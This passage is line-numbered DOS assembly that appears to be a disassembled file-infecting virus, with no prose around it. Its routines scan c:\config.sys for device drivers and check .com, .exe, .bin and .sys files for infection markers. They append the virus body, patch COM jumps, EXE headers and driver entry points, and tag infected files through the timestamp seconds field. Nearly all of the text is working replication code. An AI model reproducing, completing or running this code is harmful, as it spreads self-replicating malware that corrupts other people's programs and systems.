  1251.         int    3            ; Debug breakpoint
  1252.  
  1253.         mov    cx,28h
  1254.  
  1255.         mov    al,20h            ; ' '
  1256.  
  1257.         lea    di,[si+970h]        ; Load effective addr
  1258.  
  1259.         push    di
  1260.  
  1261.         push    cx
  1262.  
  1263.  
  1264.  
  1265. locloop_40:
  1266.  
  1267.         scasb                ; Scan es:[di] for al
  1268.  
  1269.         jc    loc_41            ; Jump if carry Set
  1270.  
  1271.         mov    [di-1],al
  1272.  
  1273. loc_41:
  1274.  
  1275.         loop    locloop_40        ; Loop if cx > 0
  1276.  
  1277.  
  1278.  
  1279.         pop    cx
  1280.  
  1281.         pop    di
  1282.  
  1283.         repe    scasb            ; Rep zf=1+cx >0 Scan es:[di] for al
  1284.  
  1285.         push    si
  1286.  
  1287.         dec    di
  1288.  
  1289.         push    di
  1290.  
  1291.         lea    di,[si+4FEh]        ; Load effective addr
  1292.  
  1293.         pop    si
  1294.  
  1295.         mov    cx,6
  1296.  
  1297.  
  1298.  
  1299. locloop_42:
  1300.  
  1301.         lodsb                ; String [si] to al
  1302.  
  1303.         or    al,20h            ; ' '
  1304.  
  1305.         scasb                ; Scan es:[di] for al
  1306.  
  1307.         loopz    locloop_42        ; Loop if zf=1, cx>0
  1308.  
  1309.  
  1310.  
  1311.         mov    di,si
  1312.  
  1313.         pop    si
  1314.  
  1315.         jnz    loc_38            ; Jump if not zero
  1316.  
  1317.         mov    cx,28h
  1318.  
  1319.         mov    al,20h            ; ' '
  1320.  
  1321.         repe    scasb            ; Rep zf=1+cx >0 Scan es:[di] for al
  1322.  
  1323.         cmp    byte ptr [di-1],3Dh    ; '='
  1324.  
  1325.         jne    loc_38            ; Jump if not equal
  1326.  
  1327.         repe    scasb            ; Rep zf=1+cx >0 Scan es:[di] for al
  1328.  
  1329.         dec    di
  1330.  
  1331.         mov    dx,di
  1332.  
  1333.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1334.  
  1335.         mov    byte ptr [di-1],0
  1336.  
  1337.         push    bx
  1338.  
  1339.         call    sub_11
  1340.  
  1341.         jz    loc_44            ; Jump if zero
  1342.  
  1343.         mov    di,dx
  1344.  
  1345.         cmp    byte ptr [di],5Ch    ; '\'
  1346.  
  1347.         je    loc_43            ; Jump if equal
  1348.  
  1349.         dec    di
  1350.  
  1351.         mov    byte ptr [di],5Ch    ; '\'
  1352.  
  1353. loc_43:
  1354.  
  1355.         dec    di
  1356.  
  1357.         dec    di
  1358.  
  1359.         mov    word ptr [di],3A63h
  1360.  
  1361.         mov    dx,di
  1362.  
  1363. loc_44:
  1364.  
  1365.         mov    ax,3D02h
  1366.  
  1367.         int    3            ; Debug breakpoint
  1368.  
  1369.         jc    loc_45            ; Jump if carry Set
  1370.  
  1371.         mov    bx,ax
  1372.  
  1373.         mov    ax,402h
  1374.  
  1375.         call    sub_20
  1376.  
  1377.         mov    ah,3Eh            ; '>'
  1378.  
  1379.         int    3            ; Debug breakpoint
  1380.  
  1381. loc_45:
  1382.  
  1383.         pop    bx
  1384.  
  1385.         jmp    loc_38
  1386.  
  1387. loc_46:
  1388.  
  1389.         mov    ah,3Eh            ; '>'
  1390.  
  1391.         int    3            ; Debug breakpoint
  1392.  
  1393.         retn
  1394.  
  1395. sub_8        endp
  1396.  
  1397.  
  1398.  
  1399.         db    'c:\config.sys'
  1400.  
  1401.         db     00h, 64h, 65h, 76h, 69h, 63h
  1402.  
  1403.         db     65h
  1404.  
  1405.  
  1406.  
  1407. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1408.  
  1409. ;                   SUBROUTINE
  1410.  
  1411. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1412.  
  1413.  
  1414.  
  1415. sub_10        proc    near
  1416.  
  1417.         sub    cx,7BCh
  1418.  
  1419.         dec    dx
  1420.  
  1421.         dec    dh
  1422.  
  1423.         mov    al,1Fh
  1424.  
  1425.         mul    dh            ; ax = reg * al
  1426.  
  1427.         xor    dh,dh            ; Zero register
  1428.  
  1429.         add    dx,ax
  1430.  
  1431.         push    dx
  1432.  
  1433.         mov    ax,16Eh
  1434.  
  1435.         mul    cx            ; dx:ax = reg * ax
  1436.  
  1437.         pop    dx
  1438.  
  1439.         add    ax,dx
  1440.  
  1441.         retn
  1442.  
  1443. sub_10        endp
  1444.  
  1445.  
  1446.  
  1447.  
  1448.  
  1449. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1450.  
  1451. ;                   SUBROUTINE
  1452.  
  1453. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1454.  
  1455.  
  1456.  
  1457. sub_11        proc    near
  1458.  
  1459.         mov    di,dx
  1460.  
  1461.         mov    cx,0FFFFh
  1462.  
  1463.         xor    al,al            ; Zero register
  1464.  
  1465.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1466.  
  1467.         neg    cx
  1468.  
  1469.         dec    cx
  1470.  
  1471.         dec    di
  1472.  
  1473.         dec    di
  1474.  
  1475.         mov    bx,di
  1476.  
  1477.         mov    di,dx
  1478.  
  1479.         mov    al,3Ah            ; ':'
  1480.  
  1481.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1482.  
  1483.         retn
  1484.  
  1485. sub_11        endp
  1486.  
  1487.  
  1488.  
  1489.  
  1490.  
  1491. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1492.  
  1493. ;                   SUBROUTINE
  1494.  
  1495. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1496.  
  1497.  
  1498.  
  1499. sub_12        proc    near
  1500.  
  1501.         cld                ; Clear direction
  1502.  
  1503.         push    bx
  1504.  
  1505.         push    si
  1506.  
  1507.         push    ds
  1508.  
  1509.         pop    es
  1510.  
  1511.         call    sub_11
  1512.  
  1513.         jnz    loc_48            ; Jump if not zero
  1514.  
  1515.         mov    al,[di-2]
  1516.  
  1517.         or    al,20h            ; ' '
  1518.  
  1519.         sub    al,61h            ; 'a'
  1520.  
  1521.         jmp    short loc_49
  1522.  
  1523. loc_48:
  1524.  
  1525.         mov    ah,19h
  1526.  
  1527.         int    3            ; Debug breakpoint
  1528.  
  1529. loc_49:
  1530.  
  1531.         std                ; Set direction flag
  1532.  
  1533.         push    cs
  1534.  
  1535.         pop    es
  1536.  
  1537.         lea    di,[si+584h]        ; Load effective addr
  1538.  
  1539.         mov    si,bx
  1540.  
  1541.         mov    bl,al
  1542.  
  1543.         mov    ah,4
  1544.  
  1545. loc_50:
  1546.  
  1547.         mov    cx,4
  1548.  
  1549.         push    di
  1550.  
  1551.         push    si
  1552.  
  1553.  
  1554.  
  1555. locloop_51:
  1556.  
  1557.         lodsb                ; String [si] to al
  1558.  
  1559.         or    al,20h            ; ' '
  1560.  
  1561.         scasb                ; Scan es:[di] for al
  1562.  
  1563.         loopz    locloop_51        ; Loop if zf=1, cx>0
  1564.  
  1565.  
  1566.  
  1567.         pop    si
  1568.  
  1569.         pop    di
  1570.  
  1571.         jz    loc_53            ; Jump if zero
  1572.  
  1573.         sub    di,4
  1574.  
  1575.         dec    ah
  1576.  
  1577.         jz    loc_53            ; Jump if zero
  1578.  
  1579.         jmp    short loc_50
  1580.  
  1581. loc_53:
  1582.  
  1583.         cld                ; Clear direction
  1584.  
  1585.         mov    al,bl
  1586.  
  1587.         pop    si
  1588.  
  1589.         pop    bx
  1590.  
  1591.         retn
  1592.  
  1593. sub_12        endp
  1594.  
  1595.  
  1596.  
  1597.         db    '.com.exe.bin.sys'
  1598.  
  1599.  
  1600.  
  1601. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1602.  
  1603. ;                   SUBROUTINE
  1604.  
  1605. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1606.  
  1607.  
  1608.  
  1609. sub_13        proc    near
  1610.  
  1611.         mov    ax,4200h
  1612.  
  1613.         xor    cx,cx            ; Zero register
  1614.  
  1615.         int    3            ; Debug breakpoint
  1616.  
  1617.         retn
  1618.  
  1619. sub_13        endp
  1620.  
  1621.  
  1622.  
  1623.  
  1624.  
  1625. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1626.  
  1627. ;                   SUBROUTINE
  1628.  
  1629. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1630.  
  1631.  
  1632.  
  1633. sub_14        proc    near
  1634.  
  1635.         mov    ax,4202h
  1636.  
  1637.         xor    cx,cx            ; Zero register
  1638.  
  1639.         xor    dx,dx            ; Zero register
  1640.  
  1641.         int    3            ; Debug breakpoint
  1642.  
  1643.         retn
  1644.  
  1645. sub_14        endp
  1646.  
  1647.  
  1648.  
  1649.  
  1650.  
  1651. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1652.  
  1653. ;                   SUBROUTINE
  1654.  
  1655. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1656.  
  1657.  
  1658.  
  1659. sub_15        proc    near
  1660.  
  1661.         push    ax
  1662.  
  1663.         and    ah,ah
  1664.  
  1665.         jz    loc_56            ; Jump if zero
  1666.  
  1667.         xor    dx,dx            ; Zero register
  1668.  
  1669.         call    sub_13
  1670.  
  1671.         mov    ah,3Fh            ; '?'
  1672.  
  1673.         lea    dx,[si+91Eh]        ; Load effective addr
  1674.  
  1675.         mov    cx,6
  1676.  
  1677.         int    3            ; Debug breakpoint
  1678.  
  1679.         cmp    ax,6
  1680.  
  1681.         jne    loc_56            ; Jump if not equal
  1682.  
  1683.         pop    ax
  1684.  
  1685.         push    ax
  1686.  
  1687.         cmp    ah,2
  1688.  
  1689.         jb    loc_55            ; Jump if below
  1690.  
  1691.         jnz    loc_54            ; Jump if not zero
  1692.  
  1693.         cmp    word ptr ds:[91Eh][si],5A4Dh
  1694.  
  1695.         jne    loc_56            ; Jump if not equal
  1696.  
  1697.         jmp    short loc_55
  1698.  
  1699. loc_54:
  1700.  
  1701.         cmp    word ptr ds:[91Eh][si],0FFFFh
  1702.  
  1703.         jne    loc_56            ; Jump if not equal
  1704.  
  1705.         cmp    word ptr ds:[920h][si],0FFFFh
  1706.  
  1707.         jne    loc_56            ; Jump if not equal
  1708.  
  1709. loc_55:
  1710.  
  1711.         pop    ax
  1712.  
  1713.         stc                ; Set carry flag
  1714.  
  1715.         retn
  1716.  
  1717. loc_56:
  1718.  
  1719.         pop    ax
  1720.  
  1721.         clc                ; Clear carry flag
  1722.  
  1723.         retn
  1724.  
  1725. sub_15        endp
  1726.  
  1727.  
  1728.  
  1729.  
  1730.  
  1731. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1732.  
  1733. ;                   SUBROUTINE
  1734.  
  1735. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1736.  
  1737.  
  1738.  
  1739. sub_16        proc    near
  1740.  
  1741.         push    ax
  1742.  
  1743.         mov    ax,5700h
  1744.  
  1745.         int    3            ; Debug breakpoint
  1746.  
  1747.         mov    word ptr ds:[93Fh][si],cx
  1748.  
  1749.         mov    word ptr ds:[941h][si],dx
  1750.  
  1751.         and    cx,1Fh
  1752.  
  1753.         cmp    cx,1Fh
  1754.  
  1755.         pop    ax
  1756.  
  1757.         retn
  1758.  
  1759. sub_16        endp
  1760.  
  1761.  
  1762.  
  1763.  
  1764.  
  1765. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1766.  
  1767. ;                   SUBROUTINE
  1768.  
  1769. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1770.  
  1771.  
  1772.  
  1773. sub_17        proc    near
  1774.  
  1775.         call    sub_14
  1776.  
  1777.         mov    ah,40h            ; '@'
  1778.  
  1779.         mov    dx,si
  1780.  
  1781.         mov    cx,923h
  1782.  
  1783.         int    3            ; Debug breakpoint
  1784.  
  1785.         retn
  1786.  
  1787. sub_17        endp
  1788.  
  1789.  
  1790.  
  1791.  
  1792.  
  1793. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1794.  
  1795. ;                   SUBROUTINE
  1796.  
  1797. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1798.  
  1799.  
  1800.  
  1801. sub_18        proc    near
  1802.  
  1803.         call    sub_14
  1804.  
  1805.         add    ax,1FFh
  1806.  
  1807.         adc    dx,0
  1808.  
  1809.         mov    al,ah
  1810.  
  1811.         mov    ah,dl
  1812.  
  1813.         shr    ax,1            ; Shift w/zeros fill
  1814.  
  1815.         mov    word ptr ds:[91Eh][si],ax
  1816.  
  1817.         mov    dx,4
  1818.  
  1819.         call    sub_13
  1820.  
  1821.         mov    ah,40h            ; '@'
  1822.  
  1823.         lea    dx,[si+91Eh]        ; Load effective addr
  1824.  
  1825.         mov    cx,2
  1826.  
  1827.         int    3            ; Debug breakpoint
  1828.  
  1829.         retn
  1830.  
  1831. sub_18        endp
  1832.  
  1833.  
  1834.  
  1835.  
  1836.  
  1837. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1838.  
  1839. ;                   SUBROUTINE
  1840.  
  1841. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1842.  
  1843.  
  1844.  
  1845. sub_19        proc    near
  1846.  
  1847.         push    es
  1848.  
  1849.         push    bx
  1850.  
  1851.         xor    bx,bx            ; Zero register
  1852.  
  1853.         mov    ds,bx
  1854.  
  1855.         les    bx,dword ptr ds:data_6e    ; Load 32 bit ptr
  1856.  
  1857.         mov    word ptr cs:[937h][si],bx
  1858.  
  1859.         mov    word ptr cs:[939h][si],es
  1860.  
  1861.         lea    bx,[si+41Dh]        ; Load effective addr
  1862.  
  1863.         mov    ds:data_6e,bx
  1864.  
  1865.         mov    word ptr ds:data_6e+2,cs
  1866.  
  1867.         push    ds
  1868.  
  1869.         push    cs
  1870.  
  1871.         push    cs
  1872.  
  1873.         pop    ds
  1874.  
  1875.         pop    es
  1876.  
  1877.         push    ax
  1878.  
  1879.         cld                ; Clear direction
  1880.  
  1881.         lea    dx,[si+970h]        ; Load effective addr
  1882.  
  1883.         mov    di,dx
  1884.  
  1885.         add    al,61h            ; 'a'
  1886.  
  1887.         mov    ah,3Ah            ; ':'
  1888.  
  1889.         stosw                ; Store ax to es:[di]
  1890.  
  1891.         mov    word ptr [di],5Ch
  1892.  
  1893.         mov    ah,5Ah            ; 'Z'
  1894.  
  1895.         xor    cx,cx            ; Zero register
  1896.  
  1897.         int    3            ; Debug breakpoint
  1898.  
  1899.         jc    loc_59            ; Jump if carry Set
  1900.  
  1901.         mov    bx,ax
  1902.  
  1903.         mov    ah,3Eh            ; '>'
  1904.  
  1905.         int    3            ; Debug breakpoint
  1906.  
  1907.         jc    loc_59            ; Jump if carry Set
  1908.  
  1909.         mov    ah,41h            ; 'A'
  1910.  
  1911.         int    3            ; Debug breakpoint
  1912.  
  1913. loc_59:
  1914.  
  1915.         pop    ax
  1916.  
  1917.         pop    ds
  1918.  
  1919.         les    bx,dword ptr cs:[937h][si]    ; Load 32 bit ptr
  1920.  
  1921.         mov    ds:data_6e,bx
  1922.  
  1923.         mov    word ptr ds:data_6e+2,es
  1924.  
  1925.         push    cs
  1926.  
  1927.         pop    ds
  1928.  
  1929.         pop    bx
  1930.  
  1931.         pop    es
  1932.  
  1933.         retn
  1934.  
  1935. sub_19        endp
  1936.  
  1937.  
  1938.  
  1939.  
  1940.  
  1941. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1942.  
  1943. ;                   SUBROUTINE
  1944.  
  1945. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1946.  
  1947.  
  1948.  
  1949. sub_20        proc    near
  1950.  
  1951.         push    cs
  1952.  
  1953.         push    cs
  1954.  
  1955.         pop    ds
  1956.  
  1957.         pop    es
  1958.  
  1959.         call    sub_15
  1960.  
  1961.         jc    loc_60            ; Jump if carry Set
  1962.  
  1963.         jmp    loc_69
  1964.  
  1965. loc_60:
  1966.  
  1967.         call    sub_16
  1968.  
  1969.         jnz    loc_61            ; Jump if not zero
  1970.  
  1971.         jmp    loc_69
  1972.  
  1973. loc_61:
  1974.  
  1975.         call    sub_19
  1976.  
  1977.         jnc    loc_62            ; Jump if carry=0
  1978.  
  1979.         jmp    loc_69
  1980.  
  1981. loc_62:
  1982.  
  1983.         cmp    ah,1
  1984.  
  1985.         je    loc_65            ; Jump if equal
  1986.  
  1987.         cmp    ah,2
  1988.  
  1989.         jne    loc_63            ; Jump if not equal
  1990.  
  1991.         jmp    loc_67
  1992.  
  1993. loc_63:
  1994.  
  1995.         mov    ah,3Fh            ; '?'
  1996.  
  1997.         lea    dx,[si+42h]        ; Load effective addr
  1998.  
  1999.         nop                ;*ASM fixup - displacement
  2000.  
  2001.         mov    cx,2
  2002.  
  2003.         int    3            ; Debug breakpoint
  2004.  
  2005.         mov    ah,3Fh            ; '?'
  2006.  
  2007.         lea    dx,[si+60h]        ; Load effective addr
  2008.  
  2009.         nop                ;*ASM fixup - displacement
  2010.  
  2011.         mov    cx,2
  2012.  
  2013.         int    3            ; Debug breakpoint
  2014.  
  2015.         mov    dx,[si+60h]
  2016.  
  2017.         call    sub_13
  2018.  
  2019.         mov    ah,3Fh            ; '?'
  2020.  
  2021.         lea    dx,[si+91Eh]        ; Load effective addr
  2022.  
  2023.         mov    cx,5
  2024.  
  2025.         int    3            ; Debug breakpoint
  2026.  
  2027.         call    sub_14
  2028.  
  2029.         cmp    ax,0F000h
  2030.  
  2031.         jbe    loc_64            ; Jump if below or =
  2032.  
  2033.         jmp    loc_69
  2034.  
  2035. loc_64:
  2036.  
  2037.         mov    word ptr ds:[925h][si],ax
  2038.  
  2039.         mov    dx,6
  2040.  
  2041.         call    sub_13
  2042.  
  2043.         mov    ah,40h            ; '@'
  2044.  
  2045.         lea    dx,[si+925h]        ; Load effective addr
  2046.  
  2047.         mov    cx,2
  2048.  
  2049.         int    3            ; Debug breakpoint
  2050.  
  2051.         mov    dx,[si+60h]
  2052.  
  2053.         call    sub_13
  2054.  
  2055.         mov    ah,40h            ; '@'
  2056.  
  2057.         lea    dx,[si+919h]        ; Load effective addr
  2058.  
  2059.         mov    cx,5
  2060.  
  2061.         int    3            ; Debug breakpoint
  2062.  
  2063.         call    sub_17
  2064.  
  2065.         jmp    loc_68
  2066.  
  2067. loc_65:
  2068.  
  2069.         call    sub_14
  2070.  
  2071.         cmp    ax,0F000h
  2072.  
  2073.         jbe    loc_66            ; Jump if below or =
  2074.  
  2075.         jmp    loc_69
  2076.  
  2077. loc_66:
  2078.  
  2079.         add    ax,123h
  2080.  
  2081.         mov    word ptr ds:[925h][si],ax
  2082.  
  2083.         xor    dx,dx            ; Zero register
  2084.  
  2085.         call    sub_13
  2086.  
  2087.         mov    byte ptr ds:[924h][si],0E9h
  2088.  
  2089.         mov    ah,40h            ; '@'
  2090.  
  2091.         lea    dx,[si+924h]        ; Load effective addr
  2092.  
  2093.         mov    cx,3
  2094.  
  2095.         int    3            ; Debug breakpoint
  2096.  
  2097.         call    sub_17
  2098.  
  2099.         jmp    short loc_68
  2100.  
  2101. loc_67:
  2102.  
  2103.         mov    dx,4
  2104.  
  2105.         call    sub_13
  2106.  
  2107.         mov    ah,3Fh            ; '?'
  2108.  
  2109.         lea    dx,[si+91Eh]        ; Load effective addr
  2110.  
  2111.         mov    cx,6
  2112.  
  2113.         int    3            ; Debug breakpoint
  2114.  
  2115.         call    sub_14
  2116.  
  2117.         add    ax,1FFh
  2118.  
  2119.         adc    dx,0
  2120.  
  2121.         shr    dx,1            ; Shift w/zeros fill
  2122.  
  2123.         rcr    ax,1            ; Rotate thru carry
  2124.  
  2125.         mov    al,ah
  2126.  
  2127.         mov    ah,dl
  2128.  
  2129.         cmp    ax,word ptr ds:[91Eh][si]
  2130.  
  2131.         jne    loc_69            ; Jump if not equal
  2132.  
  2133.         mov    dx,14h
  2134.  
  2135.         call    sub_13
  2136.  
  2137.         mov    ah,3Fh            ; '?'
  2138.  
  2139.         lea    dx,[si+122h]        ; Load effective addr
  2140.  
  2141.         mov    cx,4
  2142.  
  2143.         int    3            ; Debug breakpoint
  2144.  
  2145.         call    sub_14
  2146.  
  2147.         mov    di,word ptr ds:[922h][si]
  2148.  
  2149.         mov    cl,4
  2150.  
  2151.         shl    di,cl            ; Shift w/zeros fill
  2152.  
  2153.         sub    ax,di
  2154.  
  2155.         sbb    dx,0
  2156.  
  2157.         add    ax,0FEh
  2158.  
  2159.         adc    dx,0
  2160.  
  2161.         mov    cl,0Ch
  2162.  
  2163.         shl    dx,cl            ; Shift w/zeros fill
  2164.  
  2165.         mov    word ptr ds:[91Eh][si],ax
  2166.  
  2167.         mov    word ptr ds:[920h][si],dx
  2168.  
  2169.         mov    dx,14h
  2170.  
  2171.         call    sub_13
  2172.  
  2173.         mov    ah,40h            ; '@'
  2174.  
  2175.         lea    dx,[si+91Eh]        ; Load effective addr
  2176.  
  2177.         mov    cx,4
  2178.  
  2179.         int    3            ; Debug breakpoint
  2180.  
  2181.         call    sub_17
  2182.  
  2183.         call    sub_18
  2184.  
  2185. loc_68:
  2186.  
  2187.         mov    ax,5701h
  2188.  
  2189.         mov    cx,word ptr ds:[93Fh][si]
  2190.  
  2191.         mov    dx,word ptr ds:[941h][si]
  2192.  
  2193.         or    cx,1Fh
  2194.  
  2195.         int    3            ; Debug breakpoint
  2196.  
  2197. loc_69:
  2198.  
  2199.         xor    dx,dx            ; Zero register
  2200.  
  2201.         call    sub_13
  2202.  
  2203.         retn
  2204.  
  2205. sub_20        endp
  2206.  
  2207.  
  2208.  
  2209.  
  2210.  
  2211. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2212.  
  2213. ;                   SUBROUTINE
  2214.  
  2215. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2216.  
  2217.  
  2218.  
  2219. sub_21        proc    near
  2220.  
  2221.         push    cs
  2222.  
  2223.         push    cs
  2224.  
  2225.         pop    ds
  2226.  
  2227.         pop    es
  2228.  
  2229.         call    sub_15
  2230.  
  2231.         jc    loc_70            ; Jump if carry Set
  2232.  
  2233.         jmp    loc_79
  2234.  
  2235. loc_70:
  2236.  
  2237.         call    sub_16
  2238.  
  2239.         jz    loc_71            ; Jump if zero
  2240.  
  2241.         jmp    loc_79
  2242.  
  2243. loc_71:
  2244.  
  2245.         call    sub_19
  2246.  
  2247.         jnc    loc_72            ; Jump if carry=0
  2248.  
  2249.         jmp    loc_79
  2250.  
  2251. loc_72:
  2252.  
  2253.         cmp    ah,1
  2254.  
  2255.         je    loc_74            ; Jump if equal
  2256.  
  2257.         cmp    ah,2
  2258.  
  2259.         jne    loc_73            ; Jump if not equal
  2260.  
  2261.         jmp    loc_76
  2262.  
  2263. loc_73:
  2264.  
  2265.         mov    ah,3Fh            ; '?'
  2266.  
  2267.         lea    dx,[si+42h]        ; Load effective addr
  2268.  
  2269.         nop                ;*ASM fixup - displacement
  2270.  
  2271.         mov    cx,2
  2272.  
  2273.         int    3            ; Debug breakpoint
  2274.  
  2275.         mov    dx,[si+42h]
  2276.  
  2277.         add    dx,42h
  2278.  
  2279.         nop                ;*ASM fixup - sign extn byte
  2280.  
  2281.         call    sub_13
  2282.  
  2283.         mov    ah,3Fh            ; '?'
  2284.  
  2285.         lea    dx,[si+91Eh]        ; Load effective addr
  2286.  
  2287.         mov    cx,2
  2288.  
  2289.         int    3            ; Debug breakpoint
  2290.  
  2291.         mov    dx,6
  2292.  
  2293.         call    sub_13
  2294.  
  2295.         mov    ah,40h            ; '@'
  2296.  
  2297.         lea    dx,[si+91Eh]        ; Load effective addr
  2298.  
  2299.         mov    cx,2
  2300.  
  2301.         int    3            ; Debug breakpoint
  2302.  
  2303.         mov    dx,[si+42h]
  2304.  
  2305.         add    dx,91Eh
  2306.  
  2307.         call    sub_13
  2308.  
  2309.         mov    ah,3Fh            ; '?'
  2310.  
  2311.         lea    dx,[si+91Eh]        ; Load effective addr
  2312.  
  2313.         mov    cx,5
  2314.  
  2315.         int    3            ; Debug breakpoint
  2316.  
  2317.         mov    dx,8
  2318.  
  2319.         call    sub_13
  2320.  
